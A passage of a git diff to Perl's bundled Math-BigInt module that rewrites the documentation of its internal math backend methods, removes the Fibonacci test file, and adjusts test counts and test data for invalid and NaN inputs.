-does not exist, both arguments are undefined. Otherwise, the arguments are a
-number (object) and its sign ("+" or "-").
+The result is returned as two arguments. If the modular multiplicative
+inverse does not exist, both arguments are undefined. Otherwise, the
+arguments are a number (object) and its sign ("+" or "-").
 
-The output value, with its sign, must either be a positive value in the range
-1,2,...,OBJ2-1 or the same value subtracted OBJ2. For instance, if the input
-arguments are objects representing the numbers 7 and 5, the method must either
-return an object representing the number 3 and a "+" sign, since (3*7) % 5 = 1
-% 5, or an object representing the number 2 and a "-" sign, since (-2*7) % 5 = 1
-% 5.
+The output value, with its sign, must either be a positive value in the
+range 1,2,...,OBJ2-1 or the same value subtracted OBJ2. For instance, if the
+input arguments are objects representing the numbers 7 and 5, the method
+must either return an object representing the number 3 and a "+" sign, since
+(3*7) % 5 = 1 % 5, or an object representing the number 2 and "-" sign,
+since (-2*7) % 5 = 1 % 5.
 
-=item CLASS-E_modpow(OBJ1, OBJ2, OBJ3)
+=item _modpow(OBJ1, OBJ2, OBJ3)
 
-Returns the modular exponentiation, i.e., (OBJ1 ** OBJ2) % OBJ3.
+Return modular exponentiation, (OBJ1 ** OBJ2) % OBJ3.
 
-=item CLASS-E_rsft(OBJ, N, B)
+=item _rsft(OBJ, N, B)
 
-Returns the result after shifting OBJ N digits to thee right in base B. This is
+Shift object N digits right in base B and return the resulting object. This is
 equivalent to performing integer division by B**N and discarding the remainder,
-except that it might be much faster.
+except that it might be much faster, depending on how the number is represented
+internally.
 
 For instance, if the object $obj represents the hexadecimal number 0xabcde,
 then C<_rsft($obj, 2, 16)> returns an object representing the number 0xabc. The
 "remainer", 0xde, is discarded and not returned.
 
-=item CLASS-E_lsft(OBJ, N, B)
+=item _lsft(OBJ, N, B)
 
-Returns the result after shifting OBJ N digits to the left in base B. This is
-equivalent to multiplying by B**N, except that it might be much faster.
+Shift the object N digits left in base B. This is equivalent to multiplying by
+B**N, except that it might be much faster, depending on how the number is
+represented internally.
 
-=item CLASS-E_log_int(OBJ, B)
+=item _log_int(OBJ, B)
 
-Returns the logarithm of OBJ to base BASE truncted to an integer. This method
-has two output arguments, the OBJECT and a STATUS. The STATUS is Perl scalar;
-it is 1 if OBJ is the exact result, 0 if the result was truncted to give OBJ,
-and undef if it is unknown whether OBJ is the exact result.
+Return integer log of OBJ to base BASE. This method has two output arguments,
+the OBJECT and a STATUS. The STATUS is Perl scalar; it is 1 if OBJ is the exact
+result, 0 if the result was truncted to give OBJ, and undef if it is unknown
+whether OBJ is the exact result.
 
-=item CLASS-E_gcd(OBJ1, OBJ2)
+=item _gcd(OBJ1, OBJ2)
 
-Returns the greatest common divisor of OBJ1 and OBJ2.
+Return the greatest common divisor of OBJ1 and OBJ2.
 
-=item CLASS-E_lcm(OBJ1, OBJ2)
+=item _lcm(OBJ1, OBJ2)
 
 Return the least common multiple of OBJ1 and OBJ2.
 
-=item CLASS-E_fib(OBJ)
-
-In scalar context, returns the nth Fibonacci number: _fib(0) returns 0, _fib(1)
-returns 1, _fib(2) returns 1, _fib(3) returns 2 etc. In list context, returns
-the Fibonacci numbers from F(0) to F(n): 0, 1, 1, 2, 3, 5, 8, 13, 21, 34, ...
-
-=item CLASS-E_lucas(OBJ)
-
-In scalar context, returns the nth Lucas number: _lucas(0) returns 2, _lucas(1)
-returns 1, _lucas(2) returns 3, etc. In list context, returns the Lucas numbers
-from L(0) to L(n): 2, 1, 3, 4, 7, 11, 18, 29,47, 76, ...
-
 =back
 
 =head3 Bitwise operators
 
+Each of these methods may modify the first input argument.
+
 =over 4
 
-=item CLASS-E_and(OBJ1, OBJ2)
+=item _and(OBJ1, OBJ2)
 
-Returns bitwise and.
+Return bitwise and. If necessary, the smallest number is padded with leading
+zeros.
 
-=item CLASS-E_or(OBJ1, OBJ2)
+=item _or(OBJ1, OBJ2)
 
-Return bitwise or.
+Return bitwise or. If necessary, the smallest number is padded with leading
+zeros.
 
-=item CLASS-E_xor(OBJ1, OBJ2)
+=item _xor(OBJ1, OBJ2)
 
-Return bitwise exclusive or.
+Return bitwise exclusive or. If necessary, the smallest number is padded
+with leading zeros.
 
 =back
 
@@ -1787,34 +1450,34 @@ Return bitwise exclusive or.
 
 =over 4
 
-=item CLASS-E_is_zero(OBJ)
+=item _is_zero(OBJ)
 
 Returns a true value if OBJ is zero, and false value otherwise.
 
-=item CLASS-E_is_one(OBJ)
+=item _is_one(OBJ)
 
 Returns a true value if OBJ is one, and false value otherwise.
 
-=item CLASS-E_is_two(OBJ)
+=item _is_two(OBJ)
 
 Returns a true value if OBJ is two, and false value otherwise.
 
-=item CLASS-E_is_ten(OBJ)
+=item _is_ten(OBJ)
 
 Returns a true value if OBJ is ten, and false value otherwise.
 
-=item CLASS-E_is_even(OBJ)
+=item _is_even(OBJ)
 
 Return a true value if OBJ is an even integer, and a false value otherwise.
 
-=item CLASS-E_is_odd(OBJ)
+=item _is_odd(OBJ)
 
 Return a true value if OBJ is an even integer, and a false value otherwise.
 
-=item CLASS-E_acmp(OBJ1, OBJ2)
+=item _acmp(OBJ1, OBJ2)
 
-Compare OBJ1 and OBJ2 and return -1, 0, or 1, if OBJ1 is numerically less than,
-equal to, or larger than OBJ2, respectively.
+Compare OBJ1 and OBJ2 and return -1, 0, or 1, if OBJ1 is less than, equal
+to, or larger than OBJ2, respectively.
 
 =back
 
@@ -1822,44 +1485,35 @@ equal to, or larger than OBJ2, respectively.
 
 =over 4
 
-=item CLASS-E_str(OBJ)
-
-Returns a string representing OBJ in decimal notation. The returned string
-should have no leading zeros, i.e., it should match C<^(0|[1-9]\d*)$>.
-
-=item CLASS-E_to_bin(OBJ)
-
-Returns the binary string representation of OBJ.
-
-=item CLASS-E_to_oct(OBJ)
+=item _str(OBJ)
 
-Returns the octal string representation of the number.
+Return a string representing the object. The returned string should have no
+leading zeros, i.e., it should match C<^(0|[1-9]\d*)$>.
 
-=item CLASS-E_to_hex(OBJ)
+=item _as_bin(OBJ)
 
-Returns the hexadecimal string representation of the number.
+Return the binary string representation of the number. The string must have a
+'0b' prefix.
 
-=item CLASS-E_to_bytes(OBJ)
+=item _as_oct(OBJ)
 
-Returns a byte string representation of OBJ. The byte string is in big endian
-byte order, so if OBJ represents the number 256, the output should be the
-two-byte string "\x01\x00".
+Return the octal string representation of the number. The string must have
+a '0x' prefix.
 
-=item CLASS-E_as_bin(OBJ)
+Note: This method was required from Math::BigInt version 1.78, but the required
+API version number was not incremented, so there are older libraries that
+support API version 1, but do not support C<_as_oct()>.
 
-Like C<_to_bin()> but with a '0b' prefix.
+=item _as_hex(OBJ)
 
-=item CLASS-E_as_oct(OBJ)
+Return the hexadecimal string representation of the number. The string must
+have a '0x' prefix.
 
-Like C<_to_oct()> but with a '0' prefix.
+=item _as_bytes(OBJ)
 
-=item CLASS-E_as_hex(OBJ)
-
-Like C<_to_hex()> but with a '0x' prefix.
-
-=item CLASS-E_as_bytes(OBJ)
-
-This is an alias to C<_to_bytes()>.
+Return a byte string representation of the number. The byte string is in big
+endian byte order, so if the object represents the number 256, the output
+should be the two-byte string "\x01\x00".
 
 =back
 
@@ -1867,11 +1521,10 @@ This is an alias to C<_to_bytes()>.
 
 =over 4
 
-=item CLASS-E_num(OBJ)
+=item _num(OBJ)
 
-Returns a Perl scalar number representing the number OBJ as close as
-possible. Since Perl scalars have limited precision, the returned value might
-not be exactly the same as OBJ.
+Given an object, return a Perl scalar number (int/float) representing this
+number.
 
 =back
 
@@ -1879,40 +1532,32 @@ not be exactly the same as OBJ.
 
 =over 4
 
-=item CLASS-E_copy(OBJ)
-
-Returns a true copy OBJ.
+=item _copy(OBJ)
 
-=item CLASS-E_len(OBJ)
+Return a true copy of the object.
 
-Returns the number of the decimal digits in OBJ. The output is a Perl scalar.
+=item _len(OBJ)
 
-=item CLASS-E_zeros(OBJ)
+Returns the number of the decimal digits in the number. The output is a
+Perl scalar.
 
-Returns the number of trailing decimal zeros. The output is a Perl scalar. The
-number zero has no trailing decimal zeros.
+=item _zeros(OBJ)
 
-=item CLASS-E_digit(OBJ, N)
+Return the number of trailing decimal zeros. The output is a Perl scalar.
 
-Returns the Nth digit in OBJ as a Perl scalar. N is a Perl scalar, where zero
-refers to the rightmost (least significant) digit, and negative values count
-from the left (most significant digit). If $obj represents the number 123, then
+=item _digit(OBJ, N)
 
-    CLASS->_digit($obj,  0)     # returns 3
-    CLASS->_digit($obj,  1)     # returns 2
-    CLASS->_digit($obj,  2)     # returns 1
-    CLASS->_digit($obj, -1)     # returns 1
+Return the Nth digit as a Perl scalar. N is a Perl scalar, where zero refers to
+the rightmost (least significant) digit, and negative values count from the
+left (most significant digit). If $obj represents the number 123, then
+I<$obj->_digit(0)> is 3 and I<_digit(123, -1)> is 1.
 
-=item CLASS-E_check(OBJ)
+=item _check(OBJ)
 
-Returns true if the object is invalid and false otherwise. Preferably, the true
+Return true if the object is invalid and false otherwise. Preferably, the true
 value is a string describing the problem with the object. This is a check
 routine to test the internal state of the object for corruption.
 
-=item CLASS-E_set(OBJ)
-
-xxx
-
 =back
 
 =head2 API version 2
@@ -1923,7 +1568,7 @@ The following methods are required for an API version of 2 or greater.
 
 =over 4
 
-=item CLASS-E_1ex(N)
+=item _1ex(N)
 
 Return an object representing the number 10**N where N E= 0 is a Perl
 scalar.
@@ -1934,7 +1579,7 @@ scalar.
 
 =over 4
 
-=item CLASS-E_nok(OBJ1, OBJ2)
+=item _nok(OBJ1, OBJ2)
 
 Return the binomial coefficient OBJ1 over OBJ1.
 
@@ -1944,7 +1589,7 @@ Return the binomial coefficient OBJ1 over OBJ1.
 
 =over 4
 
-=item CLASS-E_alen(OBJ)
+=item _alen(OBJ)
 
 Return the approximate number of decimal digits of the object. The output is a
 Perl scalar.
@@ -1961,15 +1606,15 @@ slow) fallback routines to emulate these:
 
 =over 4
 
-=item CLASS-E_signed_or(OBJ1, OBJ2, SIGN1, SIGN2)
+=item _signed_or(OBJ1, OBJ2, SIGN1, SIGN2)
 
 Return the signed bitwise or.
 
-=item CLASS-E_signed_and(OBJ1, OBJ2, SIGN1, SIGN2)
+=item _signed_and(OBJ1, OBJ2, SIGN1, SIGN2)
 
 Return the signed bitwise and.
 
-=item CLASS-E_signed_xor(OBJ1, OBJ2, SIGN1, SIGN2)
+=item _signed_xor(OBJ1, OBJ2, SIGN1, SIGN2)
 
 Return the signed bitwise exclusive or.
 
diff --git a/cpan/Math-BigInt/t/Math/BigFloat/Subclass.pm b/cpan/Math-BigInt/t/Math/BigFloat/Subclass.pm
index c9ec01e12937..f35e26710cb3 100644
--- a/cpan/Math-BigInt/t/Math/BigFloat/Subclass.pm
+++ b/cpan/Math-BigInt/t/Math/BigFloat/Subclass.pm
@@ -14,9 +14,9 @@ use Math::BigFloat 1.38;
 
 our ($accuracy, $precision, $round_mode, $div_scale);
 
-our @ISA = qw(Math::BigFloat Exporter);
+our @ISA = qw(Exporter Math::BigFloat);
 
-our $VERSION = "0.07";
+our $VERSION = "0.06";
 
 use overload;                   # inherit overload from BigInt
 
diff --git a/cpan/Math-BigInt/t/Math/BigInt/Subclass.pm b/cpan/Math-BigInt/t/Math/BigInt/Subclass.pm
index 5acdf1c24d73..8876a83a0894 100644
--- a/cpan/Math-BigInt/t/Math/BigInt/Subclass.pm
+++ b/cpan/Math-BigInt/t/Math/BigInt/Subclass.pm
@@ -14,10 +14,10 @@ use Math::BigInt 1.64;
 our $lib;
 our ($accuracy, $precision, $round_mode, $div_scale);
 
-our @ISA = qw(Math::BigInt Exporter);
+our @ISA = qw(Exporter Math::BigInt);
 our @EXPORT_OK = qw(bgcd objectify);
 
-our $VERSION = "0.06";
+our $VERSION = "0.05";
 
 use overload;                   # inherit overload from BigInt
 
diff --git a/cpan/Math-BigInt/t/bare_mbf.t b/cpan/Math-BigInt/t/bare_mbf.t
index 783110cfb180..6b9af66eaabd 100644
--- a/cpan/Math-BigInt/t/bare_mbf.t
+++ b/cpan/Math-BigInt/t/bare_mbf.t
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 2482;
+use Test::More tests => 2402;
 
 use lib 't';
 
diff --git a/cpan/Math-BigInt/t/bare_mbi.t b/cpan/Math-BigInt/t/bare_mbi.t
index 396a2a2bda56..2e4be70192d5 100644
--- a/cpan/Math-BigInt/t/bare_mbi.t
+++ b/cpan/Math-BigInt/t/bare_mbi.t
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 3942;           # tests in require'd file
+use Test::More tests => 3913;           # tests in require'd file
 
 use lib 't';
 
diff --git a/cpan/Math-BigInt/t/bfib-mbi.t b/cpan/Math-BigInt/t/bfib-mbi.t
deleted file mode 100644
index 3b24eca82354..000000000000
--- a/cpan/Math-BigInt/t/bfib-mbi.t
+++ /dev/null
@@ -1,86 +0,0 @@
-#!perl
-
-use strict;
-use warnings;
-
-use Test::More tests => 15;
-
-use Math::BigInt;
-
-my $x;
-
-###############################################################################
-# Scalar context.
-###############################################################################
-
-my $y;
-
-# Finite numbers.
-
-$x = Math::BigInt -> new("-20");
-$y = $x -> bfib();
-is($y, "-6765", "bfib(-20)");
-
-$x = Math::BigInt -> new("-15");
-$y = $x -> bfib();
-is($y, "610", "bfib(-15)");
-
-$x = Math::BigInt -> new("-2");
-$y = $x -> bfib();
-is($y, "-1", "bfib(-2)");
-
-$x = Math::BigInt -> new("-1");
-$y = $x -> bfib();
-is($y, "1", "bfib(-1)");
-
-$x = Math::BigInt -> new("0");
-$y = $x -> bfib();
-is($y, "0", "bfib(0)");
-
-$x = Math::BigInt -> new("1");
-$y = $x -> bfib();
-is($y, "1", "bfib(1)");
-
-$x = Math::BigInt -> new("2");
-$y = $x -> bfib();
-is($y, "1", "bfib(2)");
-
-$x = Math::BigInt -> new("15");
-$y = $x -> bfib();
-is($y, "610", "bfib(15)");
-
-$x = Math::BigInt -> new("20");
-$y = $x -> bfib();
-is($y, "6765", "bfib(20)");
-
-$x = Math::BigInt -> new("250");
-$y = $x -> bfib();
-is($y, "7896325826131730509282738943634332893686268675876375", "bfib(250)");
-
-# Infinites and NaN.
-
-$x = Math::BigInt -> binf("+");
-$y = $x -> bfib();
-is($y, "inf", "bfib(+inf)");
-
-$x = Math::BigInt -> binf("-");
-$y = $x -> bfib();
-is($y, "NaN", "bfib(-inf)");
-
-$x = Math::BigInt -> bnan();
-$y = $x -> bfib();
-is($y, "NaN", "bfib(NaN)");
-
-###############################################################################
-# List context.
-###############################################################################
-
-my @y;
-
-$x = Math::BigInt -> new("10");
-@y = $x -> bfib();
-is_deeply(\@y, [0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55], "bfib(10)");
-
-$x = Math::BigInt -> new("-10");
-@y = $x -> bfib();
-is_deeply(\@y, [0, 1, -1, 2, -3, 5, -8, 13, -21, 34, -55], "bfib(-10)");
diff --git a/cpan/Math-BigInt/t/bigfltpm.inc b/cpan/Math-BigInt/t/bigfltpm.inc
index 4843975522d6..3da63bb4987d 100644
--- a/cpan/Math-BigInt/t/bigfltpm.inc
+++ b/cpan/Math-BigInt/t/bigfltpm.inc
@@ -23,6 +23,7 @@ while () {
     if (/^\$/) {
         $setup = $_;
         $setup =~ s/\$/\$${CLASS}::/g;  # round_mode, div_scale
+        #print "\$setup== $setup\n";
         next;
     }
 
@@ -37,7 +38,7 @@ while () {
     $try = qq|\$x = $CLASS->new("$args[0]");|;
     if ($f eq "bnorm") {
         $try .= qq| \$x;|;
-    } elsif ($f =~ /^is_(zero|one|odd|even|negative|positive|nan|int)$/) {
+    } elsif ($f =~ /^is_(zero|one|negative|positive|odd|even|nan|int)$/) {
         $try .= qq| \$x->$f();|;
     } elsif ($f eq "is_inf") {
         $try .= qq| \$x->is_inf("$args[1]");|;
@@ -49,12 +50,8 @@ while () {
         $try .= qq| \$x->accuracy($args[1]); \$x->precision($args[2]);|;
         $try .= ' $x->bstr();';
     # some unary ops
-    } elsif ($f =~ /^b(nan|floor|ceil|int|sstr|neg|abs|sgn|inc|dec|not|sqrt|exp|fac)$/) {
+    } elsif ($f =~ /^b(nan|sstr|neg|floor|ceil|int|abs)$/) {
         $try .= qq| \$x->$f();|;
-    } elsif ($f =~ /^(numify|length|as_number)$/) {
-        $try .= qq| \$x->$f();|;
-    } elsif ($f =~ /^(to|as)_(hex|oct|bin)$/) {
-        $try .= " \$x->$f();";
     # overloaded functions
     } elsif ($f =~ /^(log|exp|sin|cos|atan2|int|neg|abs|sqrt)$/) {
         $try .= qq| \$x = $f(\$x);|;
@@ -68,8 +65,14 @@ while () {
     } elsif ($f eq "mantissa") {
         # ->bstr() to see if an object is returned
         $try .= ' $x->mantissa()->bstr();';
+    } elsif ($f =~ /^(numify|length|as_number|as_hex|as_bin)$/) {
+        $try .= qq| \$x->$f();|;
     } elsif ($f eq "bpi") {
         $try .= qq| $CLASS->bpi(\$x);|;
+    } elsif ($f eq "binc") {
+        $try .= ' $x->binc();';
+    } elsif ($f eq "bdec") {
+        $try .= ' $x->bdec();';
     } elsif ($f eq "bround") {
         $try .= qq| $setup; \$x->bround($args[1]);|;
     } elsif ($f eq "bfround") {
@@ -78,8 +81,6 @@ while () {
         $try .= qq| $setup; \$x->bsqrt();|;
     } elsif ($f eq "bfac") {
         $try .= qq| $setup; \$x->bfac();|;
-    } elsif ($f eq "bdfac") {
-        $try .= qq| $setup; \$x->bdfac();|;
     } elsif ($f eq "blog") {
         if (defined $args[1] && $args[1] ne '') {
             $try .= qq| \$y = $CLASS->new($args[1]);|;
@@ -663,7 +664,7 @@ $div_scale = 40
 1::0
 
 &brsft
-invalid:2:NaN
+NaNbrsft:2:NaN
 0:2:0
 1:1:0.5
 2:1:1
@@ -672,7 +673,7 @@ invalid:2:NaN
 32:3:4
 
 &blsft
-invalid:0:NaN
+NaNblsft:0:NaN
 2:1:4
 4:3:32
 5:3:40
@@ -682,7 +683,7 @@ invalid:0:NaN
 &bnorm
 1:1
 -0:0
-invalid:NaN
+bnormNaN:NaN
 +inf:inf
 -inf:-inf
 123:123
@@ -768,74 +769,20 @@ NaN:NaN
 3:abc:inf
 
 &as_hex
-128:0x80
--128:-0x80
-0:0x0
--0:0x0
-1:0x1
-0x123456789123456789:0x123456789123456789
 +inf:inf
 -inf:-inf
-invalid:NaN
+hexNaN:NaN
+0:0x0
+5:0x5
+-5:-0x5
 
 &as_bin
-128:0b10000000
--128:-0b10000000
-0:0b0
--0:0b0
-1:0b1
-0b1010111101010101010110110110110110101:0b1010111101010101010110110110110110101
-0x123456789123456789:0b100100011010001010110011110001001000100100011010001010110011110001001
-+inf:inf
--inf:-inf
-invalid:NaN
-
-&as_oct
-128:0200
--128:-0200
-0:00
--0:00
-1:01
-0b1010111101010101010110110110110110101:01275252666665
-0x123456789123456789:044321263611044321263611
-+inf:inf
--inf:-inf
-invalid:NaN
-
-&to_hex
-128:80
--128:-80
-0:0
--0:0
-1:1
-0x123456789123456789:123456789123456789
-+inf:inf
--inf:-inf
-invalid:NaN
-
-&to_bin
-128:10000000
--128:-10000000
-0:0
--0:0
-1:1
-0b1010111101010101010110110110110110101:1010111101010101010110110110110110101
-0x123456789123456789:100100011010001010110011110001001000100100011010001010110011110001001
 +inf:inf
 -inf:-inf
-invalid:NaN
-
-&to_oct
-128:200
--128:-200
-0:0
--0:0
-1:1
-0b1010111101010101010110110110110110101:1275252666665
-0x123456789123456789:44321263611044321263611
-+inf:inf
--inf:-inf
-invalid:NaN
+hexNaN:NaN
+0:0b0
+5:0b101
+-5:-0b101
 
 &numify
 # uses bsstr() so 5 => 5e+0 to be compatible w/ Perls output
@@ -987,7 +934,7 @@ $div_scale = 20
 $div_scale = 40
 
 &bneg
-invalid:NaN
+bnegNaN:NaN
 +inf:-inf
 -inf:inf
 +0:0
@@ -999,7 +946,7 @@ invalid:NaN
 -123456.789:123456.789
 
 &babs
-invalid:NaN
+babsNaN:NaN
 +inf:inf
 -inf:inf
 +0:0
@@ -1015,7 +962,7 @@ $round_mode = "trunc"
 +inf:5:inf
 -inf:5:-inf
 0:5:0
-invalid:5:NaN
+NaNfround:5:NaN
 +10123456789:5:10123000000
 -10123456789:5:-10123000000
 +10123456789.123:5:10123000000
@@ -1091,7 +1038,7 @@ $round_mode = "trunc"
 +inf:5:inf
 -inf:5:-inf
 0:5:0
-invalid:5:NaN
+NaNffround:5:NaN
 +1.23:-1:1.2
 +1.234:-1:1.2
 +1.2345:-1:1.2
@@ -1223,9 +1170,9 @@ $round_mode = "even"
 0.01234567:-12:0.012345670000
 
 &bcmp
-invalid:invalid:
-invalid:+0:
-+0:invalid:
+bcmpNaN:bcmpNaN:
+bcmpNaN:+0:
++0:bcmpNaN:
 +0:+0:0
 -1:+0:-1
 +0:-1:1
@@ -1296,9 +1243,9 @@ NaN:inf:
 NaN:-inf:
 
 &bacmp
-invalid:invalid:
-invalid:+0:
-+0:invalid:
+bcmpNaN:bcmpNaN:
+bcmpNaN:+0:
++0:bcmpNaN:
 +0:+0:0
 -1:+0:1
 +0:-1:-1
@@ -1365,13 +1312,13 @@ invalid:+0:
 5:-inf:-1
 -1:-inf:-1
 # return undef
-+inf:invalid:
-invalid:inf:
--inf:invalid:
-invalid:-inf:
++inf:bacmpNaN:
+bacmpNaN:inf:
+-inf:bacmpNaN:
+bacmpNaN:-inf:
 
 &bdec
-invalid:NaN
+bdecNaN:NaN
 +inf:inf
 -inf:-inf
 +0:-1
@@ -1387,7 +1334,7 @@ invalid:NaN
 99:98
 
 &binc
-invalid:NaN
+bincNaN:NaN
 +inf:inf
 -inf:-inf
 +0:1
@@ -1409,10 +1356,10 @@ abc:+0:NaN
 -inf:+inf:NaN
 +inf:+inf:inf
 -inf:-inf:-inf
-invalid:+inf:NaN
-invalid:+inf:NaN
-+inf:invalid:NaN
--inf:invalid:NaN
+baddNaN:+inf:NaN
+baddNaN:+inf:NaN
++inf:baddNaN:NaN
+-inf:baddNaN:NaN
 +0:+0:0
 +1:+0:1
 +0:+1:1
@@ -1457,10 +1404,10 @@ abc:+0:NaN
 -inf:+inf:-inf
 +inf:+inf:NaN
 -inf:-inf:NaN
-invalid:+inf:NaN
-invalid:+inf:NaN
-+inf:invalid:NaN
--inf:invalid:NaN
+baddNaN:+inf:NaN
+baddNaN:+inf:NaN
++inf:baddNaN:NaN
+-inf:baddNaN:NaN
 +0:+0:0
 +1:+0:1
 +0:+1:-1
@@ -1501,10 +1448,10 @@ abc:abc:0:NaN
 abc:+0:0:NaN
 +0:abc:0:NaN
 +0:0:abc:NaN
-invalid:+inf:0:NaN
-invalid:-inf:0:NaN
--inf:invalid:0:NaN
-+inf:invalid:0:NaN
+NaNmul:+inf:0:NaN
+NaNmul:-inf:0:NaN
+-inf:NaNmul:0:NaN
++inf:NaNmul:0:NaN
 +inf:+inf:0:inf
 +inf:-inf:0:-inf
 -inf:+inf:0:-inf
@@ -1569,10 +1516,10 @@ invalid:-inf:0:NaN
 abc:abc:NaN
 abc:+0:NaN
 +0:abc:NaN
-+inf:invalid:NaN
-+inf:invalid:NaN
-invalid:+inf:NaN
-invalid:-inf:NaN
++inf:NaNmul:NaN
++inf:NaNmul:NaN
+NaNmul:+inf:NaN
+NaNmul:-inf:NaN
 +inf:+inf:inf
 +inf:-inf:-inf
 +inf:-inf:-inf
@@ -1813,25 +1760,6 @@ Nanfac:NaN
 11:39916800
 12:479001600
 
-&bdfac
-NaN:NaN
--1:NaN
-+inf:inf
--inf:NaN
-0:1
-1:1
-2:2
-3:3
-4:8
-5:15
-6:48
-7:105
-8:384
-9:945
-10:3840
-11:10395
-12:46080
-
 &broot
 # sqrt()
 +0:2:0
@@ -1950,7 +1878,7 @@ abc:0
 2:0
 
 &is_int
-invalid:0
+NaNis_int:0
 0:1
 1:1
 2:1
@@ -2006,7 +1934,7 @@ NaN:0
 123:123 0
 -123:-123 0
 -1200:-12 2
-invalid:NaN NaN
+NaNparts:NaN NaN
 +inf:inf inf
 -inf:-inf inf
 
@@ -2018,7 +1946,7 @@ invalid:NaN NaN
 -1200:2
 +inf:inf
 -inf:inf
-invalid:NaN
+NaNexponent:NaN
 
 &mantissa
 0:0
@@ -2028,7 +1956,7 @@ invalid:NaN
 -1200:-12
 +inf:inf
 -inf:-inf
-invalid:NaN
+NaNmantissa:NaN
 
 &length
 123:3
@@ -2038,7 +1966,7 @@ invalid:NaN
 12345678901234567890:20
 
 &is_zero
-invalid:0
+NaNzero:0
 +inf:0
 -inf:0
 0:1
@@ -2046,7 +1974,7 @@ invalid:0
 1:0
 
 &is_one
-invalid:0
+NaNone:0
 +inf:0
 -inf:0
 0:0
diff --git a/cpan/Math-BigInt/t/bigfltpm.t b/cpan/Math-BigInt/t/bigfltpm.t
index a447c470de20..c141ac7e9556 100644
--- a/cpan/Math-BigInt/t/bigfltpm.t
+++ b/cpan/Math-BigInt/t/bigfltpm.t
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 2482            # tests in require'd file
+use Test::More tests => 2402            # tests in require'd file
                          + 19;          # tests in this file
 
 use Math::BigInt only => 'Calc';
diff --git a/cpan/Math-BigInt/t/bigintpm.inc b/cpan/Math-BigInt/t/bigintpm.inc
index 45ae52c0a1be..6752f6c40a7a 100644
--- a/cpan/Math-BigInt/t/bigintpm.inc
+++ b/cpan/Math-BigInt/t/bigintpm.inc
@@ -77,27 +77,27 @@ while () {
     } elsif ($f eq "bone") {
         $try .= qq| \$x->bone("$args[1]");|;
     # some unary ops
-    } elsif ($f =~ /^b(nan|floor|ceil|int|sstr|neg|abs|sgn|inc|dec|not|sqrt|exp|fac)$/) {
-        $try .= " \$x->$f();";
-    } elsif ($f =~ /^(numify|length|stringify)$/) {
-        $try .= " \$x->$f();";
-    } elsif ($f =~ /^(to|as)_(hex|oct|bin)$/) {
+    } elsif ($f =~ /^b(nan|floor|ceil|int|sstr|neg|abs|sgn|inc|dec|not|sqrt|fac)$/) {
         $try .= " \$x->$f();";
     # overloaded functions
     } elsif ($f =~ /^(log|exp|sin|cos|atan2|int|neg|abs|sqrt)$/) {
         $try .= " \$x = $f(\$x);";
-    } elsif ($f eq "parts") {
-        $try .= ' ($m, $e) = $x->parts();';
-        # ->bstr() to see if an object is returned
-        $try .= ' $m = $m->bstr(); $m = "NaN" if !defined $m;';
-        $try .= ' $e = $e->bstr(); $e = "NaN" if !defined $e;';
-        $try .= ' "$m,$e";';
+    } elsif ($f =~ /^(numify|length|stringify|as_hex|as_bin|as_oct)$/) {
+        $try .= " \$x->$f();";
     } elsif ($f eq "exponent") {
         # ->bstr() to see if an object is returned
         $try .= ' $x = $x->exponent()->bstr();';
     } elsif ($f eq "mantissa") {
         # ->bstr() to see if an object is returned
         $try .= ' $x = $x->mantissa()->bstr();';
+    } elsif ($f eq "parts") {
+        $try .= ' ($m, $e) = $x->parts();';
+        # ->bstr() to see if an object is returned
+        $try .= ' $m = $m->bstr(); $m = "NaN" if !defined $m;';
+        $try .= ' $e = $e->bstr(); $e = "NaN" if !defined $e;';
+        $try .= ' "$m,$e";';
+    } elsif ($f eq "bexp") {
+        $try .= " \$x->bexp();";
     } elsif ($f eq "bpi") {
         $try .= " $CLASS\->bpi(\$x);";
     } else {
@@ -995,9 +995,9 @@ __DATA__
 
 &blog
 #
-invalid:2:NaN
-122:invalid:NaN
-invalid:invalid:NaN
+NaNlog:2:NaN
+122:NaNlog:NaN
+NaNlog1:NaNlog:NaN
 #
 122:inf:0
 inf:122:inf
@@ -1067,7 +1067,7 @@ inf:inf:NaN
 1:0
 +inf:0
 -inf:1
-invalid:0
+NaNneg:0
 
 &is_positive
 0:0
@@ -1075,12 +1075,12 @@ invalid:0
 1:1
 +inf:1
 -inf:0
-invalid:0
+NaNneg:0
 
 &is_int
 -inf:0
 +inf:0
-invalid:0
+NaNis_int:0
 1:1
 0:1
 123e12:1
@@ -1124,9 +1124,9 @@ abc:0
 -987654321:+123456789:1
 -123:+4567889:-1
 # NaNs
-invalid:123:
-123:invalid:
-invalid:invalid:
+acmpNaN:123:
+123:acmpNaN:
+acmpNaN:acmpNaN:
 # infinity
 +inf:+inf:0
 -inf:-inf:0
@@ -1388,8 +1388,8 @@ abc:NaN
 &bone
 2:+:1
 2:-:-1
-invalid:-:-1
-invalid:+:1
+boneNaN:-:-1
+boneNaN:+:1
 2:abc:1
 3::1
 
@@ -1498,7 +1498,7 @@ bsstrabc:NaN
 -100:-100
 
 &bneg
-invalid:NaN
+bnegNaN:NaN
 +inf:-inf
 -inf:inf
 abd:NaN
@@ -1509,7 +1509,7 @@ abd:NaN
 -123456789:123456789
 
 &babs
-invalid:NaN
+babsNaN:NaN
 +inf:inf
 -inf:inf
 0:0
@@ -1527,9 +1527,9 @@ NaN:NaN
 -123456789:-1
 
 &bcmp
-invalid:invalid:
-invalid:0:
-0:invalid:
+bcmpNaN:bcmpNaN:
+bcmpNaN:0:
+0:bcmpNaN:
 0:0:0
 -1:0:-1
 0:-1:1
@@ -1595,10 +1595,10 @@ abc:0:NaN
 -inf:+inf:NaN
 +inf:+inf:inf
 -inf:-inf:-inf
-invalid:+inf:NaN
-invalid:+inf:NaN
-+inf:invalid:NaN
--inf:invalid:NaN
+baddNaN:+inf:NaN
+baddNaN:+inf:NaN
++inf:baddNaN:NaN
+-inf:baddNaN:NaN
 0:0:0
 1:0:1
 0:1:1
@@ -1722,10 +1722,10 @@ abc:abc:0:NaN
 abc:+0:0:NaN
 +0:abc:0:NaN
 +0:0:abc:NaN
-invalid:+inf:0:NaN
-invalid:-inf:0:NaN
--inf:invalid:0:NaN
-+inf:invalid:0:NaN
+NaNmul:+inf:0:NaN
+NaNmul:-inf:0:NaN
+-inf:NaNmul:0:NaN
++inf:NaNmul:0:NaN
 +inf:+inf:0:inf
 +inf:-inf:0:-inf
 -inf:+inf:0:-inf
